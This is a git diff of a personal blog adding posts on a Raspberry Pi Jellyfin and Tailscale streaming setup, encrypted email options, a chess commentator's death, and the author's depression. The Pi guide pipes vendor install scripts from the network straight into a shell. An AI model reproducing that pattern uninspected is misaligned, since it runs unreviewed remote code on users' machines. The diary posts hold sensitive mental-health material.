Tailscale. + +This post is the “how it went” and the “how to do it” version. It’s written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at. + +## The idea + +Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your Wi‑Fi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later. + +The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly. + +## What you need + +My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane. + +## Step one: choose a home for your stuff + +Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers. + +On the Pi, I created a little directory neighborhood under `/srv`: + +```bash +sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin +sudo chown -R $USER:$USER /srv +``` + +If you’re not ready to move movies into `/srv/media` yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup. + +## Step two: install Docker and start thinking in containers + +I installed Docker and verified that `docker compose` worked. After that, everything became a file called `docker-compose.yml` and the comforting feeling that I can rebuild my server from a single folder if life gets weird. + +A typical install flow on Raspberry Pi OS looks like this: + +```bash +sudo apt update +sudo apt install -y ca-certificates curl +curl -fsSL https://get.docker.com | sh +sudo usermod -aG docker $USER +newgrp docker +docker --version +docker compose version +``` + +Now for the part that feels like summoning a friendly daemon. + +## Step three: Jellyfin, running happily in Docker + +In `/srv/compose/jellyfin/docker-compose.yml`, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to `/home/hub/Documents/movies` from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that. + +Here’s a simple `docker-compose.yml` that works well on a Pi: + +```yaml +services: + jellyfin: + image: jellyfin/jellyfin:latest + container_name: jellyfin + user: "1000:1000" + ports: + - "8096:8096/tcp" + - "7359:7359/udp" + volumes: + - /srv/jellyfin/config:/config + - /srv/jellyfin/cache:/cache + - /srv/media:/media + restart: unless-stopped +``` + +If your user isn’t UID 1000, check it with `id -u` and `id -g`, then update the `user:` line accordingly. + +I started Jellyfin like this: + +```bash +cd /srv/compose/jellyfin +docker compose up -d +``` + +After that, Jellyfin lived at `http://:8096` on my home network, which is the most satisfying “it’s alive” moment of the whole build. + +## Step four: Tailscale, the magic door for friends + +Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host. + +```bash +curl -fsSL https://tailscale.com/install.sh | sh +sudo tailscale up +tailscale ip -4 +``` + +That last command gives you a `100.x.y.z` address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes: + +```text +http://100.x.y.z:8096 +``` + +Or if you enabled magicDNS: + +```text +http://rpi:8096 +``` + +The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project. + +If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.” + +## Step five: create a Jellyfin user for your friend + +Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself. + +If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one. + +## Step six: the secret to a smooth Pi movie night is Direct Play + +A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion. + +For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer. + +The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers: + +```bash +ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv" -map 0:v:0 -map 0:a:0 -c:v copy -c:a aac -b:a 384k -ac 2 -movflags +faststart "500.Days.of.Summer.2009.1080p.mp4" +``` + +Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4: + +```bash +ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv" -map 0:s:0 "500.Days.of.Summer.2009.1080p.srt" +``` + +Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning. + +## Step seven: SyncPlay, aka “we pressed play together” + +Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy. + +## Starting on microSD, graduating to SSD later + +Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards. + +The reason the `/srv` layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy `/srv` to the SSD, mount the SSD at `/srv`, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead. + +## Where this goes next + +Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep `/srv` as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.” + +For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room. + +Happy streaming. + +The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I'll write a review for it later on. It was just amazing. + + + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/boredom.md.asc b/static/sources/posts/boredom.md.asc new file mode 100644 index 0000000..44ffb20 --- /dev/null +++ b/static/sources/posts/boredom.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM +jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m +TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4+dFzPbKjpHZ84on/xfNwIOh8br+WJEBF +V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC +Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H +dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U +LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1+8fTdXfQg/t91lTHVfh +efVqOiH+B6SlzqPM4LgzRjf+36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J +haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g+Lvf +5qjzC+ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05+m7VGjRPp +sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn +kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY= +=/K6E +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/confusion.md b/static/sources/posts/confusion.md new file mode 100644 index 0000000..ae1648b --- /dev/null +++ b/static/sources/posts/confusion.md @@ -0,0 +1,12 @@ ++++ +title = 'Confusion' +date = 2026-04-02T14:15:55Z +draft = true ++++ + +I don't know the why, the how, the what to do. The day started with many questions and many statements + + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/confusion.md.asc b/static/sources/posts/confusion.md.asc new file mode 100644 index 0000000..fd21f2c --- /dev/null +++ b/static/sources/posts/confusion.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM +jSp/jRAAt1Yto5ZR1/V8X/HiD5+7a87JrftUZGH1jc/PuZ47vzvQ2lBg8nmPYwjF +teuCklmhq4xqGxHCW50HzGmPf6a4VKsFpXf3/1Dk8wylBvQhwXtjDUJrygMaWqB6 +LdWsJIscsApAu5kTCfw5x2+yiCug6qzwf8ociXGy7RFLcJ2BWhPNdnk2OMnL2dpl +oNPvgHbVzczQLAqx/3MI4pwBIHt0KJdpwqMrieyUbh1+CO3o4zGsiaGAQNHppGNN +JXkA3uKtr5VRnFWszWYzUbuMtCX214KuVxLMRfE96A3eU6+vgBENeBIeuIaj4jIc +7qbGMaTsWK3qM4inXHy4qkhH6q5EVrsE3YCXN13s8qWkE7M9NGBSM5Bb95iNeOah +cbzJoH6kbBXUMulGcTjVkmvL0fjpasgXf7aabB8IZE1fKQksS++6+LKhUnr9O5vY +EwKh4BIABSdL+18rsv5QRlzoQgbY+oRYPallKRjxONpN18P3Ny9qQL4kFD6EnWs1 +ByxhAw+PYYyh8WUiKs5IFCVUk4+XBrHRCbNW0B+DXn7wrvUSvv6MCyUWN0IL02On +zV5wSAYcmZm2QIprRLtFH3QiHFdR9vEDwtmHvkpLwJw1UHAIZgsqzumRwZzwTu4y +hPPWF7R4nvqjePR+1Jdt+Y4ssbde1AFMjKx323TbRAluXQdNVAc= +=Ayvy +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/cupid.md b/static/sources/posts/cupid.md new file mode 100644 index 0000000..54424b9 --- /dev/null +++ b/static/sources/posts/cupid.md @@ -0,0 +1,51 @@ ++++ +title = 'Cupid is so dumb' +date = 2025-11-04T19:35:16Z +draft = false ++++ + +The lyrics are being played in my brain day and night. + +"A hopeless romantic all my life" + +"Surrounded by couples all the time" + +"I guess I should take it as a sign" + +But... "I gave a second chance to Cupid" + +"But now I'm left here feelin' stupid" + +I might've given more than two chances to cupid. + +But I'm still left here felling' stupid. + +"I look for his arrows every day" + +"I guess he got lost or flew away" + +But does it matter anymore? +It shouldn't. It really shouldn't. + +Now all these jokes aside, today I went to Mensa with my group. When eating, I saw a group of people who I've been trying to hang out with, and every time they tell me they let me know to join them, but today I saw them, they hadn't told me. + +Funny how my mind jumps to conclusions quickly. Funny how I feel left alone so quickly. Or maybe it isn't funny, idk. What I do know however is that I'm hurt. There is a bit more to the story than that, but I don't want to open it up. It's way too personal to be opened. + +The thing is, all of this is just badly affecting me. I cannot really focus on my work, and studies. Maybe I should consider doing more home office? Idk. It could be good though. + +I've been trying to jump from one addiction to another, just to calm my senses, just to forget, just to move on. + +I started with ordering unhealthy food from Uber, eating Tuna and Rice, skipping breakfast, watching crap on Youtube, but none of it help. I then went to thm, that has been helping a bit, but not enough. + +I need to be productive at work, I need to take care of my health, I know if I do these, I will feel better about myself and this MDD will go away. Or at least I hope. + +For now all I know is that I'm stuck in MDD, and I cannot get out of it. I'm glad suicidal thoughs are off the table. I'm just glad. They only thing I see is darkness, but I know it will change. The sun will rise. That reminds me, is the wind rising? No? Yes? If so, we need to live. + +I think this is just so painful to me in the sense that I don't really have many friends that I consider as friends, and I'm being left alone from some groups that I don't necesserially wanna be a part of. But oh well, I should not care. + +Credit: Cupid by FIFTY FIFTY + + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/cupid.md.asc b/static/sources/posts/cupid.md.asc new file mode 100644 index 0000000..c17d430 --- /dev/null +++ b/static/sources/posts/cupid.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM +jSqXgxAApA2BHjsOLD5510SG/O8FGU5fI6Mh9wa+CzLQY5UgxMloPUPb7wt0PeUf +CpBM/jHD6O86DkqppGJNAXHdt/X1bpQeMr0jfXctWijWUhiyDxY/eLId7+GF9IUv +YFCTA4Rff7kAbczDMpb2Tj4ZGSJNCAnHtxbzRN23WHY5SX36WZr0Kg496Z/ndxNa +2RWo2WA0w9PIvb/rv77+fOx5g7P1Ap+mpFHOYAOeQ3PuHPLTSOrldEZDgr0diYMl +HFzs8K0CXUJnW0KaLtfUxEsJEs9nIgoAN3m/xUWCiZEe2fbEYJ/kUArtAJLtEV3r +ulcY1NPAuRWbcFdIWYQoD6N9Kxev0e6rvX5kkt3MslV4fAvIXq9TmROOd9i8d6W7 +oKcf7IO8MJNs4l3+990pvEzu0X9IHdv7GUIf6DQQ15VG3HLBMHzaqDu5fxIGUyz1 +wJj1Vd18yXkOLCNIdOkQVr5wuZida6/1V8qgMNg5mO/t0bXPvmweqwd4tCy1XErm +7d9nIEcGk9dQBuVKJUT0XVN/q3whNFeQmbaoq+Tl/MSNQVfwTbxBMkGxmLQwEWY9 +mUD+FKlzeyJSaWc0MylcnbtkCQnICWw2mR33NuqPHA2RIrCy49ArrPXXPrIZqOf/ +91kzN5JeoMvwawhIt9N8+nPGUOs3RTy+qHk9L7DHhtAycdFqm/c= +=sXgB +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/danya.md b/static/sources/posts/danya.md new file mode 100644 index 0000000..199dfa9 --- /dev/null +++ b/static/sources/posts/danya.md @@ -0,0 +1,43 @@ ++++ +title = 'Danya' +date = 2025-10-21T08:41:58Z +draft = false +description = "A sad note about someone I knew in the online world." ++++ + +Daniel Naroditsky has passed away. +I've never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus. +I like Fabi a lot, but my all-time favorite is Hikaru. +Danya was my favorite commentator. +Someone who was so fun to watch explaining complex positions. +I think he was indeed, if not the best, one of the best at it. + + +The occasion is grim. +However, let's remember the immense pressure he was under. +Let's remember how he was accused of cheating by Kramnik many, many times. +By a former world champion. +Someone who has accused many and has ruined their lives for no reason. +The likes of Hikaru! + +The problem is that Hikaru kind of went out of his way and cast doubt on Hans in the past. +I don't know how to relate to any of these now. +I do think this is some stupid, sad consequence that these baseless accusations have. +All players have their exceptionally good days, and many many bad days. +These accusations make no sense. + +I do think Danya went under so much pressure from these allegations, though. +I don't know if he ever cheated or not, but like, what's the point now? +He is gone. +He'll never be back. + +I don't know what the cause was, but I hope he didn't take his own life. +I don't know how the world will ever forgive FIDE or Kramnik for this. +This bullying in plain sight is just brutal. + +Rest in peace, Danya. +I don't think the community ever forgets your amazing commentaries, and what a vibrant and nice character you were. + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/danya.md.asc b/static/sources/posts/danya.md.asc new file mode 100644 index 0000000..8f4e26e --- /dev/null +++ b/static/sources/posts/danya.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM +jSpazRAAkvfyfZFtYRnSapnmBsWF+f6Sj42Cy5T5PFq6C+DdQdOq1VZjGComKjXv +YqD4dkiBNsFXehp/DLUXxh+jvme1icBas5tZJooJX+ykhlDflRRheyz3k/3fpVV2 +fo48rh5vV3cn1zDUZA2+XJ6I4FMFtUBCTVwtEVTCFNeut2CJzvUnCY3ocQDtBC2O +u6PH0hwDYvarj4RFEadIq2+vfN9mSpgTmmoTm7rmKPtKXcZ8DYwS+7tS8RZnYMX9 +BpaFLH07aYgusamoSS51m6xCL1hSX3tq709bBCJT8/p7Mva/LmwWo3aUH6PqFCY2 +eTnhxoMGldwPp4PKq3bGt6KrI2zN+P4dTq7LWUdmrlHsxyLGaVhymG4XdrWYxG4c +9JhD3FFuNX6u3TMekt9I6BZMmNHX6RLl2Nka/ohXV+1HyH/1flk/47szJXGZ6Gg+ +NEWWr1rkFZZWju2cVzjprquVbLbRlBuTiBvF3qSaPjhN6VH/XBFkXr8sv4/kSq6B +Gn8TtHsqrljhID2OBIv21R5SvtqA61pHzdC47Ie1mzvF4WupJjAA0ekPEBoRgc7X +xc7JMmK+AHfIFgEwQUKfgFQ0w89qEUKZve5ThyXjok/9EnvygseomqwGV30DN0S8 +zVuQEy3O7tkGShRjgnS+T4QddXNk6ciGzEisIIxyFEzJ6P6KSr4= +=BEoA +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/e2ee.md b/static/sources/posts/e2ee.md new file mode 100644 index 0000000..41ff0e0 --- /dev/null +++ b/static/sources/posts/e2ee.md @@ -0,0 +1,142 @@ +--- +title: "Sending End‑to‑End Encrypted Email (E2EE) without losing friends" +date: 2025-10-30 +draft: false +tags: ["privacy", "email", "e2ee", "proton", "tuta", "pgp", "s/mime", "gmail cse"] +categories: ["Privacy"] +summary: "A practical, mildly opinionated guide to sending encrypted email that normal people can actually read." +ShowToc: true +TocOpen: true +--- + +If you’ve ever thought “I should really send this **securely**” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a **usable** path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over. + +> Honestly, I don't know why one would settle down for a paid option, but if you want to, then be my guest. + +## Why people *don’t* use E2EE email (and why you still should) + +Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting. + +But the **upsides** are huge: true confidentiality of message content and attachments, stronger **authenticity** (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to **hesitate** before sending, it probably matters enough to encrypt. + +I mean, generally speaking one can use e2ee for anything, and not just email, but doesn't it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you're good to go! + +## The contenders (and how they feel to use) + +### Proton Mail (consumer‑friendly, great cross‑provider story) +Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a **password‑protected message** that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it. + +**Prices (personal):** Free tier exists; paid tiers like **Mail Plus** and **Proton Unlimited** add storage, custom domains, and Proton Bridge for desktop clients. Expect **single‑digit € per month** for personal use; business plans are per‑user. +**How to use:** Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can **reply securely** in the web portal—even without an account. +**Ups:** Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user. +**Downs:** Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers. + +Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It's easy to use, and fun to show off. + +### Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption) +Tuta offers automatic E2EE between Tuta users and **password‑protected emails** to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including **subject lines**—and the whole suite is open‑source and auditable. + +**Prices (personal & business):** Free plan plus personal tiers (e.g., **Revolutionary**, **Legend**) and business tiers (**Essential/Advanced/Unlimited**). Personal is typically **low single‑digit €/month**; business is **per‑user, per‑month**. +**How to use:** Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page. +**Ups:** Max privacy posture; encrypted subjects between Tuta users; clean apps. +**Downs:** Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata. + +I was introduced to this one literally for writing this post, I had no idea it existed before. + +### Gmail with **Client‑Side Encryption** (CSE) (for organizations on Google Workspace) +If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—**keys stay with your organization**. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail. + +**Prices:** CSE is available on certain Workspace editions (e.g., **Enterprise Plus**, **Education Standard/Plus**, **Frontline Plus**). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier. +**How to use:** Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it. +**Ups:** Seamless for employees; centralized key control; good audit/compliance story. +**Downs:** Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts. + +I mean... how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won't. Not with the emails that matter to me. + +### Outlook / Apple Mail with **S/MIME** (classic enterprise path) +S/MIME uses **X.509 certificates** instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs. + +**Prices:** The tech is built in; costs come from **certificates**. Orgs often issue them internally; public CA prices vary. +**How to use:** Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail. +**Ups:** Great inside enterprises; MDM‑friendly; widely supported. +**Downs:** Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination. + +Ok. Is there that big of a difference between these and Gmail? Idk. I ain't trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so. + +### Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable) +Thunderbird bakes in **OpenPGP** and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports **protected headers/subject encryption** so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability. + +**Prices:** Free. +**How to use:** Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done. +**Ups:** Full control, open source, works with any provider via IMAP/SMTP; subject protection available. +**Downs:** Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time. + +This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don't have iOS app which sucks, idk about Android. + +### Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail) +If you’re welded to webmail, add‑ons can meet you where you live. **Mailvelope** brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. **FlowCrypt** focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options. + +**Prices:** Mailvelope is free/open‑source. FlowCrypt has a generous free tier with **paid enterprise features** for teams. +**How to use:** Install the extension → create/import keys → compose in a secure editor injected into your webmail. +**Ups:** Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail. +**Downs:** Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client. + +Just no. Don't trust add-ons. Please. + +## So… which should *you* use? + +If you need to send a one‑off encrypted message to a **non‑technical person**, Proton or Tuta’s **password‑protected email** is the friendliest: they click a link, enter the password you shared elsewhere, and can **reply securely** even without an account. For a **company already on Google Workspace**, turn on **Gmail CSE** so people don’t juggle keys. If you’re a **power user** or want provider‑agnostic control, go with **Thunderbird OpenPGP**—it’s free, modern, and interoperable. And if you won’t leave the web, try **Mailvelope** or **FlowCrypt** to bolt E2EE onto the inbox you already use. + +Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead. + +## A note on what E2EE hides (and what it doesn’t) + +End‑to‑end encryption protects the **body** and **attachments**. Across the wider email network, **metadata like From/To and delivery timestamps** remain visible by design. Subjects may also be visible unless your tools use **protected headers** (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide *everything*, email might not be the right tool—reach for Signal or Matrix instead. + +## Quick price & fit-at-a-glance + +| Option | Best fit | Personal price vibe | Notes | +|---|---|---|---| +| Proton Mail | Everyday private email + easy messages to anyone | Free; personal paid tiers in **single‑digit €/mo**; business per‑user | Password‑protected emails to non‑Proton; PGP support | +| Tuta | Privacy‑max email; encrypted subjects in‑ecosystem | Free; personal low **€/mo**; business per‑user | Password‑protected emails to non‑Tuta; open source | +| Gmail CSE | Orgs on Google Workspace | Included with **Enterprise Plus/Education/Frontline** editions | Admin setup + external‑recipient flow | +| S/MIME (Outlook/Apple Mail) | Enterprises with IT/MDM | Software built‑in; **cert costs vary** | Smooth inside one org; cert exchange needed across orgs | +| Thunderbird OpenPGP | Provider‑agnostic power users | Free | Can encrypt subjects via protected headers | +| Mailvelope / FlowCrypt | Must stay on webmail | Free / **paid enterprise** options | PGP in the browser; good stepping stone | + +## The 60‑second starter packs + +**Proton/Tuta for one‑offs:** create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed. + +**Thunderbird for everything else:** install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss. + +--- + +## **Shower thoughts** + +So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don't know why it isn't already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us. + +A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don't trust them. + +The question I had was different. +Assuming that the service is reliable, why can't we use it and protect ourselves while doing so? + +In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly "untrusted" medium, why wouldn't you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it's a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let's not go that extreme. +Also if many do it, it's hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone. + +Idk how stupid the thing I'm suggesting is, but I wonder if it can be done or not. I don't know if I'm willing to spend my free time on it or not, but I though I should share the idea to at least know if it's stupid and wrong or not. + + + +--- + +{{< sigdl >}} diff --git a/static/sources/posts/e2ee.md.asc b/static/sources/posts/e2ee.md.asc new file mode 100644 index 0000000..479894c --- /dev/null +++ b/static/sources/posts/e2ee.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2 +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6 +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y= +=R0VX +-----END PGP SIGNATURE----- diff --git a/static/sources/posts/face_of_rejection.md b/static/sources/posts/face_of_rejection.md new file mode 100644 index 0000000..8df50f0 --- /dev/null +++ b/static/sources/posts/face_of_rejection.md @@ -0,0 +1,88 @@ ++++ +title = 'Face of Rejection' +date = 2026-05-10T22:46:10Z +draft = false ++++ + +Now that I've had some time to process, I think it's good to write down this sad experience. +First things first, I do know that I stand by my decision. +I strongly believe whatever the f\*\*\* our interactions were, they were not of any use for me. +Like what's the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. +If we would never enter eachother's social cycle. +I don't know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. +Hm... ok, it still doesn't make sense. +Let me think if I can say it better or not. +Ok, let's say you this person X. +Imagine you interact with person X, talk to them, etc., but then that's it, it is limited to "talking". +You count person X as a friend, but they are never invited to anything. +They are kept at arms distance. +Now I would assume it's fun for many many people, but me... +I already have a small social cycle. +It requires so much energy for me to start new connections, connections that are worth keeping. +I don't want to be a docker container. +Some isolated thing that is only interacted with when needed. +But I think I communicated this so badly, that it came off wrong. +To be honest, even my therapist didn't seem to believe me when I said I 